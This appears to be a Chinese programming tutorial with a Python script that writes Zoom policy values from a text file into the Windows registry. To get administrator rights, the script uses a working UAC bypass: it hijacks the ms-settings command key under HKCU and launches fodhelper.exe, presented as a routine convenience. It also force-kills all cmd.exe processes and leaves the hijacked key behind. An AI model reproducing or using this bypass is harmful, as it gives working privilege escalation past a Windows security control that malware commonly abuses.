1. 将以下txt文件中键值对写入到注册表
Enable49video:1
Disable49video:2
2. 注册表
3. 完整代码
# coding: utf-8
from __future__ import print_function
import os
import sys
import ctypes
import winreg
import win32api
import win32con
from log_module import LogClass
parent_path = os.path.dirname(os.path.abspath(__file__))
sys.path.append(parent_path)
class OperationRegistry(LogClass):
"""操作注册表"""
def __init__(self):
"""初始化"""
LogClass.__init__(self, logName='OperationRegistry')
self.setTimedRotatingFileHandler(fileName='OperationRegistry') # 日志
self.CMD = r"C:\Windows\System32\cmd.exe"
self.FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
self.PYTHON_CMD = "python"
self.REG_PATH = r'Software\Classes\ms-settings\shell\open\command'
self.DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
self.Zoom = r'SOFTWARE\Policies\Zoom\Zoom Meetings'
def is_admin(self):
"""检查脚本是否以管理权限运行"""
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except Exception as e:
self.logger.error(e)
return False
def create_reg_key(self, key, value):
"""注册表创建key"""
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, self.REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, self.REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError as e:
self.logger.error(e)
raise
def bypass_uac(self, cmd):
"""利用注册表试图绕过UAC"""
try:
self.create_reg_key(self.DELEGATE_EXEC_REG_KEY, '')
self.create_reg_key(None, cmd)
except WindowsError as e:
self.logger.error(e)
raise
def execute(self):
"""管理员权限执行代码"""
if not self.is_admin():
try:
current_dir = parent_path + "\\OperationRegistry.py"
cmd = '{} /k {} {}'.format(self.CMD, self.PYTHON_CMD, current_dir)
self.bypass_uac(cmd)
os.system(self.FOD_HELPER)
sys.exit(0)
except WindowsError as e:
self.logger.error(e)
sys.exit(1)
else:
# 这里添加需要管理员权限的代码
try:
key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, self.Zoom, 0, win32con.KEY_ALL_ACCESS) # 打开注册表
with open(parent_path + "\\test.txt", "r", encoding="utf-8") as f:
lines = f.readlines()
for i in lines:
name = i.split(":")[0]
value = int(i.split(":")[1])
win32api.RegSetValueEx(key, name, 0, win32con.REG_DWORD, value) # 设置项值,如果存在,则修改,如果不存在,则添加
os.system("taskkill /f /im cmd.exe")
zoom = win32api.RegQueryValueEx(key, 'Enable49video') # 读取项值
print(zoom)
# win32api.RegSetValue(key,'',win32con.REG_SZ,'Zoom Meetings') # 设置项的默认值x
# win32api.RegQueryValue(key, 'Enable49video') # 读取默认项值
# win32api.RegCreateKey(key, 'Zoom Meetings') # 添加key
# win32api.RegDeleteKey(key, 'Zoom Meetings') # 删除key
# win32api.RegDeleteValue(key, 'Enable49video') # 删除项
win32api.RegCloseKey(key) # 关闭注册表
except Exception as e:
self.logger.error(e)
if __name__ == '__main__':
OperationRegistry().execute()